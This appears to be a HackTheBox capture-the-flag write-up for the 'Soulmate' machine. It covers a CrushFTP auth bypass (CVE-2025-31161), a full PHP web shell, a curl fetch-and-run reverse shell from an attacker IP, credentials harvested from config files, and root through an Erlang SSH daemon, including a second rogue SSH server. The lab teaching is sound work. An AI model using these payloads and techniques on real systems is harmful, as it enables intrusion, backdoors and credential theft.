Soulmate

📅 Last Updated: Sep 12, 2025 06:05 | 📄 Size: 15.3 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Soulmate]
└─$ nmap -sC -sV -Pn 10.129.231.23 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 17:35 UTC
Nmap scan report for 10.129.231.23
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.47 seconds

Add soulmate.htbto our /etc/hosts

Page Check

index page

We can register a new account and login to dashboard

In the bottom of this page, we can find a path to upload the photo and also we can find the valid upload path <img src="/assets/images/profiles/3_1757490103.png" alt="Profile Picture" class="profile-img"> We can use burpsuite to upload the php file successfully, but we can not check the upload path in this place.

ftp.soulmate.htb

From the main domain, we can't find anything interesting, so let's continue to check the valid sub-domain here.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Soulmate]
└─$ ffuf -u http://soulmate.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.soulmate.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 412ms]

Let's add ftp.soulmate.htb to our /etc/hosts

CrushFTP is a commercial file transfer platform—FTP/FTPS/SFTP/HTTP(S)/WebDAV—popular in enterprise for its consolidated browser UI. Convenience, yes; expanded attack surface, absolutely.

By searching the exploits about this service, we can find there is a report https://thehackernews.com/2025/07/hackers-exploit-critical-crushftp-flaw.html explain the auth bypass vulnerable in recent version of CrushFTP And there is a detailed tech poc link to explain how to exploit it https://github.com/Immersive-Labs-Sec/CVE-2025-31161

Firstly, we need a valid account such as admin or root If the username is valid, it would send the warning

But if the username is not valid, it will just send the other kind of warning

CVE-2025-31161

To run the exploit script correctly, we need the valid username root and admin

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Soulmate]
└─$ python3 cve-2025-31161.py -h
usage: cve-2025-31161.py [-h] [--target_host TARGET_HOST] [--port PORT] [--target_user TARGET_USER] [--new_user NEW_USER] [--password PASSWORD]

Exploit CVE-2025-31161 to create a new account

options:
  -h, --help            show this help message and exit
  --target_host TARGET_HOST
                        Target host
  --port PORT           Target port
  --target_user TARGET_USER
                        Target user
  --new_user NEW_USER   New user to create
  --password PASSWORD   Password for the new user

Then we can successfully run the script

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Soulmate]
└─$ python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user admin --new_user wither --password wither123
[+] Preparing Payloads
  [-] Warming up the target
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: wither
   [*] Password: wither123.

Also we can use the new credit wither:wither123to access to dashboard

We can find the version of crushftpis 11.3.0

Come to Statuslabel, we can find port 2222 worked sftp service

sftp://23.106.60.163:2222/ (SSH) → CrushFTP's built-in SFTP server (SSH file transfer) on 2222.

The built-in telnet terminal is a raw TCP console and can't interact directly

Then come to User Managementlabel, we can find ben has the upload permission Also we can change the password of benand upload the reverse shell here.

Then we can change the password and login with the account ben

Then let's upload shell.php

<?php
// Copyright (c) 2021 Ivan Šincek
// v2.6
// Requires PHP v4.0.0 or greater.

// modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell

// your parameter/key here
$parameter = 'command';
$output = null;
if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'post' && isset($_POST[$parameter]) && ($_POST[$parameter] = trim($_POST[$parameter])) && strlen($_POST[$parameter]) > 0) {
    // if shell_exec() is disabled, search for an alternative method
    $output = @shell_exec("($_POST[$parameter]) 2>&1");
    if ($output === false) {
        $output = 'ERROR: The method might be disabled';
    } else {
        $output = str_replace('<', '&lt;', $output);
        $output = str_replace('>', '&gt;', $output);
    }
    // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML
    // garbage collector requires PHP v5.3.0 or greater
    // echo "<pre>{$output}</pre>"; unset($output); unset($_POST[$parameter]);/* @gc_collect_cycles();*/
}
?>
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<title>Simple PHP Web Shell</title>
		<meta name="author" content="Ivan Šincek">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
	</head>
	<body>
		<form method="post" action="<?php echo './' . basename($_SERVER['SCRIPT_FILENAME']); ?>">
			<input name="<?php echo $parameter; ?>" type="text" required="required" autofocus="autofocus" placeholder="Enter Command">
		</form>
		<pre><?php echo $output; unset($output); unset($_POST[$parameter]);/* @gc_collect_cycles();*/ ?></pre>
	</body>
</html>

Then move this shell.phpfile to webProbdirectory, then we can visit http://soulmate.htb/shell.php

We can try to use this web shell to get the reverse shell here.

curl http://10.10.14.10/shell.sh -o /tmp/shell.sh
chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh

Then we can get the reverse shell and upgrade it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Soulmate]
└─$ nc -lnvp 443                                 
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.129.242.24] 43746
bash: cannot set terminal process group (1148): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$ python3 -c 'import pty;pty.spawn("bash")'
<b/public$ python3 -c 'import pty;pty.spawn("bash")'
www-data@soulmate:~/soulmate.htb/public$ ^Z
zsh: suspended  nc -lnvp 443
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Soulmate]
└─$ stty raw -echo; fg
[1]  + continued  nc -lnvp 443

www-data@soulmate:~/soulmate.htb/public$ 

By enumerating the file system, then we can get the default credit of administrator admin:Crush4dmin990

www-data@soulmate:~/soulmate.htb/config$ cat config.php 
<?php
class Database {
    private $db_file = '../data/soulmate.db';
    private $pdo;

    public function __construct() {
        $this->connect();
        $this->createTables();
    }

 private function createTables() {
        $sql = "
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            is_admin INTEGER DEFAULT 0,
            name TEXT,
            bio TEXT,
            interests TEXT,
            phone TEXT,
            profile_pic TEXT,
            last_login DATETIME,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )";

        $this->pdo->exec($sql);

        // Create default admin user if not exists
        $adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
        $adminCheck->execute(['admin']);
        
        if ($adminCheck->fetchColumn() == 0) {
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name) 
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }
    }

Continue to check the network state

www-data@soulmate:~/soulmate.htb/data$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1195/nginx: worker  
tcp        0      0 127.0.0.1:37755         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:39747         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4369          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1195/nginx: worker  
tcp6       0      0 ::1:4369                :::*                    LISTEN      -       

Recon confirms Erlang/OTP in play: EPMD (4369) . With OTP present, the escript runner is expected:

www-data@soulmate:~/soulmate.htb/data$ which escript
/usr/local/bin/escript

We know OTP lands under /usr/local, and its runtime libs locates at /usr/local/lib/erlang: We can find 2 scripts in /usr/local/lib/erlang_login

www-data@soulmate:/usr/local/lib$ ls -al erlang_login/
total 16
drwxr-xr-x 2 root root 4096 Aug 15 07:46 .
drwxr-xr-x 5 root root 4096 Aug 14 14:12 ..
-rwxr-xr-x 1 root root 1570 Aug 14 14:12 login.escript
-rwxr-xr-x 1 root root 1427 Aug 15 07:46 start.escript

We can find the hard coded script with the credit of ben

www-data@soulmate:/usr/local/lib/erlang_login$ cat start.escript 
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}​},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of

We can get the credit ben:HouseH0ldings998

Then we can use ssh to connect to account ben

ssh ben@soulmate.htb
ben@soulmate:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben)
ben@soulmate:~$ whoami
ben

Root Path

Firstly open an Erlang shell on the internal daemon

ben@soulmate:~$ ssh -p 2222 ben@127.0.0.1
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
ben@127.0.0.1's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> 

Because the daemon runs as root, os:cmd/1 executes with full privileges.

(ssh_runner@soulmate)1> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)2> os:cmd("cat /root/root.txt").
(ssh_runner@soulmate)2> os:cmd("cat /root/root.txt").

"4849506ee9783b6e6902daf6d4d5b1f5\n"

Harden the session so errors don't nuke our state: catch_exception(true).

Or we can try some fancy trick, Spin up a second SSH server

ssh:start(),
ssh:daemon(22222, [
  {ip,{0,0,0,0}​},                           
  {system_dir,"/etc/ssh"},                
  {subsystems,[{"sftp",{ssh_sftpd,[]}​}]}, 
  {auth_methods,"publickey,password"}, 
  {user_passwords,[{"wither","wither123"}]} 
]).

Then we can use the new credit to ssh connect it

ssh -p 2222 wither@127.0.0.1     # wither123

Description

This machine is mainly used to examine the configuration and use of Erlang Shell and ssh. Generally speaking, it is a very novel ctf technique.